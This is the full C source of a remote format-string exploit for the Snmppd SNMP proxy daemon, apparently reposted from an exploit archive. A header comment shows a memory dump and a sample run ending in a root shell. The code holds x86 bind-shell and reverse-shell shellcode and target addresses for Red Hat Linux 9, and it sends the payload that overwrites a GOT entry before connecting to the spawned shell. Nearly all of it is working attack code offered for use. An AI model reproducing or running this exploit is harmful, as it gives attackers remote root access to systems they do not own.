===================================================== Snmppd SNMP Proxy Daemon Remote Format String Exploit ===================================================== /* * Snmppd SNMP proxy daemon format string exploit * * cybertronic[at]gmx[dot]net * * 04/29/2005 * * buffer space is 1024 bytes ( MAX_SNMPPD_OID_LEN defined in snmppd-0.4.5/snmppd.h ) * * Apr 29 16:01:31 ctronic snmppd[6274]: fd 5: Request: XAAAA_804a81e.bfffb9d4.0.0.0.0.35206466.6552203a.73657571.58203a74.41414141 * * This is annoying... there is no fixed input storage. * Buffer`s location sometimes varies for 0x980 bytes. * Below is a short dump. I highjacked the GOT entry * of strdup. Maybe there are some fixed pointers for * reliable exploitation. Drop me an email if you have * any suggestions * * * __strdup * * 0xbfffb450: 0x906e6824 0x90909090 0x90909090 0x90909090 * 0xbfffb460: 0x90909090 0x90909090 0x90909090 0x90909090 * 0xbfffb470: 0x90909090 0x90909090 0x90909090 0x90909090 * * 0xbfffb3d0: 0x906e6824 0x90909090 0x90909090 0x90909090 * 0xbfffb3e0: 0x90909090 0x90909090 0x90909090 0x90909090 * 0xbfffb3f0: 0x90909090 0x90909090 0x90909090 0x90909090 * * 0xbfffb6d0: 0x906e6824 0x90909090 0x90909090 0x90909090 * 0xbfffb6e0: 0x90909090 0x90909090 0x90909090 0x90909090 * 0xbfffb6f0: 0x90909090 0x90909090 0x90909090 0x90909090 * * 0xbfffbdd0: 0x906e6824 0x90909090 0x90909090 0x90909090 * 0xbfffbde0: 0x90909090 0x90909090 0x90909090 0x90909090 * 0xbfffbdf0: 0x90909090 0x90909090 0x90909090 0x90909090 * * 0xbfffc750: 0x906e6824 0x90909090 0x90909090 0x90909090 * 0xbfffc760: 0x90909090 0x90909090 0x90909090 0x90909090 * 0xbfffc770: 0x90909090 0x90909090 0x90909090 0x90909090 * * 0804b1a0 R_386_JUMP_SLOT malloc * 0804b210 R_386_JUMP_SLOT memset * 0804b1fc R_386_JUMP_SLOT __strdup * * I succeeded on my third try with the same ret: * * __ __ _ * _______ __/ /_ ___ _____/ /__________ ____ (_)____ * / ___/ / / / __ \/ _ \/ ___/ __/ ___/ __ \/ __ \/ / ___/ * / /__/ /_/ / /_/ / __/ / / /_/ / / /_/ / / / / / /__ * \___/\__, /_.___/\___/_/ \__/_/ \____/_/ /_/_/\___/ * /____/ * * --[ exploit by : cybertronic - cybertronic[at]gmx[dot]net * --[ connecting to localhost:164...done! * --[ select shellcode * | * |- [0] bind * `- [1] cb * >> 0 * --[ using bind shellcode * --[ GOT: 0x0804b1fc * --[ RET: 0xbfffc750 * --[ sending packet [ 1023 bytes ]...done! * --[ sleeping 5 seconds before connecting to localhost:20000... * --[ connecting to localhost:20000...done! * --[ b0x pwned - h4ve phun * id * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) * * */ #include #include #include #include #include #define NOP 0x90 #define RED "\E[31m\E[1m" #define GREEN "\E[32m\E[1m" #define YELLOW "\E[33m\E[1m" #define BLUE "\E[34m\E[1m" #define NORMAL "\E[m" int connect_to_remote_host ( char* tip, unsigned short tport ); int exploit ( int s, unsigned long smashaddr, unsigned long writeaddr, char* cbip ); int isip ( char *ip ); int shell ( int s, char* tip ); int usage ( char* name ); void start_reverse_handler ( unsigned short cbport ); void connect_to_bindshell ( char* tip, unsigned short bport ); void header (); void wait ( int sec ); /*********************** * Linux x86 Shellcode * ***********************/ //131 bytes connect back port: 45295 char reverseshell[] = "\x31\xc0\x31\xdb\x31\xc9\x51\xb1" "\x06\x51\xb1\x01\x51\xb1\x02\x51" "\x89\xe1\xb3\x01\xb0\x66\xcd\x80" "\x89\xc2\x31\xc0\x31\xc9\x51\x51" "\x68\x41\x42\x43\x44\x66\x68\xb0" "\xef\xb1\x02\x66\x51\x89\xe7\xb3" "\x10\x53\x57\x52\x89\xe1\xb3\x03" "\xb0\x66\xcd\x80\x31\xc9\x39\xc1" "\x74\x06\x31\xc0\xb0\x01\xcd\x80" "\x31\xc0\xb0\x3f\x89\xd3\xcd\x80" "\x31\xc0\xb0\x3f\x89\xd3\xb1\x01" "\xcd\x80\x31\xc0\xb0\x3f\x89\xd3" "\xb1\x02\xcd\x80\x31\xc0\x31\xd2" "\x50\x68\x6e\x2f\x73\x68\x68\x2f" "\x2f\x62\x69\x89\xe3\x50\x53\x89" "\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0" "\x01\xcd\x80"; //92 bytes bindcode port: 20000 char bindshell[] = "\x31\xdb" // xor ebx, ebx "\xf7\xe3" // mul ebx "\xb0\x66" // mov al, 102 "\x53" // push ebx "\x43" // inc ebx "\x53" // push ebx "\x43" // inc ebx "\x53" // push ebx "\x89\xe1" // mov ecx, esp "\x4b" // dec ebx "\xcd\x80" // int 80h "\x89\xc7" // mov edi, eax "\x52" // push edx "\x66\x68\x4e\x20" // push word 8270 "\x43" // inc ebx "\x66\x53" // push bx "\x89\xe1" // mov ecx, esp "\xb0\xef" // mov al, 239 "\xf6\xd0" // not al "\x50" // push eax "\x51" // push ecx "\x57" // push edi "\x89\xe1" // mov ecx, esp "\xb0\x66" // mov al, 102 "\xcd\x80" // int 80h "\xb0\x66" // mov al, 102 "\x43" // inc ebx "\x43" // inc ebx "\xcd\x80" // int 80h "\x50" // push eax "\x50" // push eax "\x57" // push edi "\x89\xe1" // mov ecx, esp "\x43" // inc ebx "\xb0\x66" // mov al, 102 "\xcd\x80" // int 80h "\x89\xd9" // mov ecx, ebx "\x89\xc3" // mov ebx, eax "\xb0\x3f" // mov al, 63 "\x49" // dec ecx "\xcd\x80" // int 80h "\x41" // inc ecx "\xe2\xf8" // loop lp "\x51" // push ecx "\x68\x6e\x2f\x73\x68" // push dword 68732f6eh "\x68\x2f\x2f\x62\x69" // push dword 69622f2fh "\x89\xe3" // mov ebx, esp "\x51" // push ecx "\x53" // push ebx "\x89\xe1" // mov ecx, esp "\xb0\xf4" // mov al, 244 "\xf6\xd0" // not al "\xcd\x80"; // int 80h typedef struct _args { char* tip; char* lip; int tport; int target; } args; struct targets { int num; unsigned long smashaddr; unsigned long writeaddr; char name[64]; } target[]= { { 0, 0x0804b1fc, 0xbfffb3d0, "Red hat Linux 9 ( Shrike ) Kernel 2.4.20-8 i686" }, //Red hat Linux release 9 ( Shrike ) Kernel 2.4.20-8 on an i686 { 1, 0x0804b1fc, 0xbfffb6d0, "Red hat Linux 9 ( Shrike ) Kernel 2.4.20-8 i686" }, //Red hat Linux release 9 ( Shrike ) Kernel 2.4.20-8 on an i686 { 2, 0x0804b1fc, 0xbfffbde0, "Red hat Linux 9 ( Shrike ) Kernel 2.4.20-8 i686" }, //Red hat Linux release 9 ( Shrike ) Kernel 2.4.20-8 on an i686 { 3, 0x0804b1fc, 0xbfffc750, "Red hat Linux 9 ( Shrike ) Kernel 2.4.20-8 i686" }, //Red hat Linux release 9 ( Shrike ) Kernel 2.4.20-8 on an i686 { 4, 0xdeadc0de, 0xdeadc0de, "description" }, //add more targets if needed }; int connect_to_remote_host ( char* tip, unsigned short tport ) { int s; struct sockaddr_in remote_addr; struct hostent* host_addr; memset ( &remote_addr, 0x0, sizeof ( remote_addr ) ); if ( ( host_addr = gethostbyname ( tip ) ) == NULL ) { printf ( "cannot resolve \"%s\"\n", tip ); exit ( 1 ); } remote_addr.sin_family = AF_INET; remote_addr.sin_port = htons ( tport ); remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr ); if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 ) { printf ( "socket failed!\n" ); exit ( 1 ); } printf ( "--[ connecting to %s:%u...", tip, tport ); if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) == -1 ) { printf ( "failed!\n" ); exit ( 1 ); } printf ( "done!\n" ); return ( s ); } int exploit ( int s, unsigned long smashaddr, unsigned long writeaddr, char* cbip ) { char buffer[1024]; char a, b, c, d; unsigned int low, high; unsigned long ulcbip; printf ( "--[ GOT: 0x%08x\n", smashaddr ); printf ( "--[ RET: 0x%08x\n", writeaddr ); a = ( smashaddr & 0xff000000 ) >> 24; b = ( smashaddr & 0x00ff0000 ) >> 16; c = ( smashaddr & 0x0000ff00 ) >> 8; d = ( smashaddr & 0x000000ff ); high = ( writeaddr & 0xffff0000 ) >> 16; low = ( writeaddr & 0x0000ffff ); bzero ( &buffer, sizeof ( buffer ) ); if ( high < low ) { sprintf ( buffer, "X%c%c%c%c" "%c%c%c%c" "%%.%uu%%11$hn" "%%.%uu%%12$hn", d + 2, c, b, a, d, c, b, a, high - 24, low - high ); } else { sprintf ( buffer, "X%c%c%c%c" "%c%c%c%c" "%%.%uu%%12$hn" "%%.%uu%%11$hn", d + 2, c, b, a, d, c, b, a, low -24, high - low ); } memset ( buffer + strlen ( buffer ), NOP, sizeof ( buffer ) - strlen ( buffer ) - 3 ); if ( cbip == NULL ) memcpy ( buffer + sizeof ( buffer ) - sizeof ( bindshell ) - 3, bindshell, sizeof ( bindshell ) -1 ); else { ulcbip = inet_addr ( cbip ); memcpy ( &reverseshell[33], &ulcbip, 4 ); memcpy ( buffer + sizeof ( buffer ) - sizeof ( reverseshell ) - 3, reverseshell, sizeof ( reverseshell ) -1 ); } strncat ( buffer, "\r\n", 2 ); printf ( "--[ sending packet [ %u bytes ]...", strlen ( buffer ) ); if ( write ( s, buffer, strlen ( buffer ) ) <= 0 ) { printf ( "failed!\n" ); return ( 1 ); } printf ( "done!\n" ); return ( 0 ); } int isip ( char *ip ) { int a, b, c, d; if ( !sscanf ( ip, "%d.%d.%d.%d", &a, &b, &c, &d ) ) return ( 0 ); if ( a < 1 ) return ( 0 ); if ( a > 255 ) return 0; if ( b < 0 ) return 0; if ( b > 255 ) return 0; if ( c < 0 ) return 0; if ( c > 255 ) return 0; if ( d < 0 ) return 0; if ( d > 255 ) return 0; return 1; } int shell ( int s, char* tip ) { int n; char buffer[2048]; fd_set fd_read; printf ( "--[" YELLOW " b" NORMAL "0" YELLOW "x " NORMAL "p" YELLOW "w" NORMAL "n" YELLOW "e" NORMAL "d " YELLOW "- " NORMAL "h" YELLOW "4" NORMAL "v" YELLOW "e " NORMAL "p" YELLOW "h" NORMAL "u" YELLOW "n" NORMAL "\n" ); FD_ZERO ( &fd_read ); FD_SET ( s, &fd_read ); FD_SET ( 0, &fd_read ); while ( 1 ) { FD_SET ( s, &fd_read ); FD_SET ( 0, &fd_read ); if ( select ( s + 1, &fd_read, NULL, NULL, NULL ) < 0 ) break; if ( FD_ISSET ( s, &fd_read ) ) { if ( ( n = recv ( s, buffer, sizeof ( buffer ), 0 ) ) < 0 ) { printf ( "bye bye...\n" ); return; } if ( write ( 1, buffer, n ) < 0 ) { printf ( "bye bye...\n" ); return; } } if ( FD_ISSET ( 0, &fd_read ) ) { if ( ( n = read ( 0, buffer, sizeof ( buffer ) ) ) < 0 ) { printf ( "bye bye...\n" ); return; } if ( send ( s, buffer, n, 0 ) < 0 ) { printf ( "bye bye...\n" ); return; } } usleep(10); } } int usage ( char* name ) { int i; printf ( "\n" ); printf ( "Note: all switches have to be specified!\n" ); printf ( "You can choose between bind and cb shellcode later!\n" ); printf ( "\n" ); printf ( "Usage: %s -h -p -l -t \n", name ); printf ( "\n" ); printf ( "Targets\n\n" ); for ( i = 0; i < 5; i++ ) printf ( "\t[%d] [0x%08x] [0x%08x] [%s]\n", target[i].num, target[i].smashaddr, target[i].writeaddr, target[i].name ); printf ( "\n" ); exit ( 1 ); } void connect_to_bindshell ( char* tip, unsigned short bport ) { int s; int sec = 5; // change this for fast targets struct sockaddr_in remote_addr; struct hostent *host_addr; if ( ( host_addr = gethostbyname ( tip ) ) == NULL ) { fprintf ( stderr, "cannot resolve \"%s\"\n", tip ); exit ( 1 ); } remote_addr.sin_family = AF_INET; remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr ); remote_addr.sin_port = htons ( bport ); if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 ) { printf ( "socket failed!\n" ); exit ( 1 ); } printf ("--[ sleeping %d seconds before connecting to %s:%u...\n", sec, tip, bport ); wait ( sec ); printf ( "--[ connecting to %s:%u...", tip, bport ); if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) == -1 ) { printf ( RED "failed!\n" NORMAL); exit ( 1 ); } printf ( YELLOW "done!\n" NORMAL); shell ( s, tip ); } void header () { printf ( " __ __ _ \n" ); printf ( " _______ __/ /_ ___ _____/ /__________ ____ (_)____ \n" ); printf ( " / ___/ / / / __ \\/ _ \\/ ___/ __/ ___/ __ \\/ __ \\/ / ___/ \n" ); printf ( "/ /__/ /_/ / /_/ / __/ / / /_/ / / /_/ / / / / / /__ \n" ); printf ( "\\___/\\__, /_.___/\\___/_/ \\__/_/ \\____/_/ /_/_/\\___/ \n" ); printf ( " /____/ \n\n" ); printf ( "--[ exploit by : cybertronic - cybertronic[at]gmx[dot]net\n" ); } void parse_arguments ( int argc, char* argv[], args* argp ) { int i = 0; while ( ( i = getopt ( argc, argv, "h:p:l:t:" ) ) != -1 ) { switch ( i ) { case 'h': argp->tip = optarg; break; case 'p': argp->tport = atoi ( optarg ); break; case 'l': argp->lip = optarg; break; case 't': argp->target = strtoul ( optarg, NULL, 16 ); break; case ':': case '?': default: usage ( argv[0] ); } } if ( argp->tip == NULL || argp->tport < 1 || argp->tport > 65535 || argp->lip == NULL || argp->target < 0 || argp->target > 4 ) usage ( argv[0] ); } void start_reverse_handler ( unsigned short cbport ) { int s1, s2; struct sockaddr_in cliaddr, servaddr; socklen_t clilen = sizeof ( cliaddr ); bzero ( &servaddr, sizeof ( servaddr ) ); servaddr.sin_family = AF_INET; servaddr.sin_addr.s_addr = htonl ( INADDR_ANY ); servaddr.sin_port = htons ( cbport ); printf ( "--[ starting reverse handler [port: %u]...", cbport ); if ( ( s1 = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 ) { printf ( "socket failed!\n" ); exit ( 1 ); } bind ( s1, ( struct sockaddr * ) &servaddr, sizeof ( servaddr ) ); if ( listen ( s1, 1 ) == -1 ) { printf ( "listen failed!\n" ); exit ( 1 ); } printf ( "done!\n" ); if ( ( s2 = accept ( s1, ( struct sockaddr * ) &cliaddr, &clilen ) ) < 0 ) { printf ( "accept failed!\n" ); exit ( 1 ); } close ( s1 ); printf ( "--[ incomming connection from:\t%s\n", inet_ntoa ( cliaddr.sin_addr ) ); shell ( s2, ( char* ) inet_ntoa ( cliaddr.sin_addr ) ); close ( s2 ); } void wait ( int sec ) { sleep ( sec ); } int main ( int argc, char* argv[] ) { int s, option; args myargs; system ( "clear" ); header (); parse_arguments ( argc, argv, &myargs ); s = connect_to_remote_host ( myargs.tip, myargs.tport ); printf ( "--[ select shellcode\n" ); printf ( " |\n" ); printf ( " |- [0] bind\n" ); printf ( " `- [1] cb\n" ); printf ( ">> " ); scanf ( "%d", &option ); switch ( option ) { case 0: printf ( "--[ using bind shellcode\n" ); if ( exploit ( s, target[myargs.target].smashaddr, target[myargs.target].writeaddr, NULL ) == 1 ) { printf ( "exploitation failed!\n" ); exit ( 1 ); } connect_to_bindshell ( myargs.tip, 20000 ); break; case 1: printf ( "--[ using cb shellcode\n" ); if ( exploit ( s, target[myargs.target].smashaddr, target[myargs.target].writeaddr, myargs.lip ) == 1 ) { printf ( "exploitation failed!\n" ); exit ( 1 ); } start_reverse_handler ( 45295 ); break; default: printf ( "--[ invalid shellcode!\n" ); exit ( 1 ); } close ( s ); return 0; } # 0day.today [2018-02-09] #

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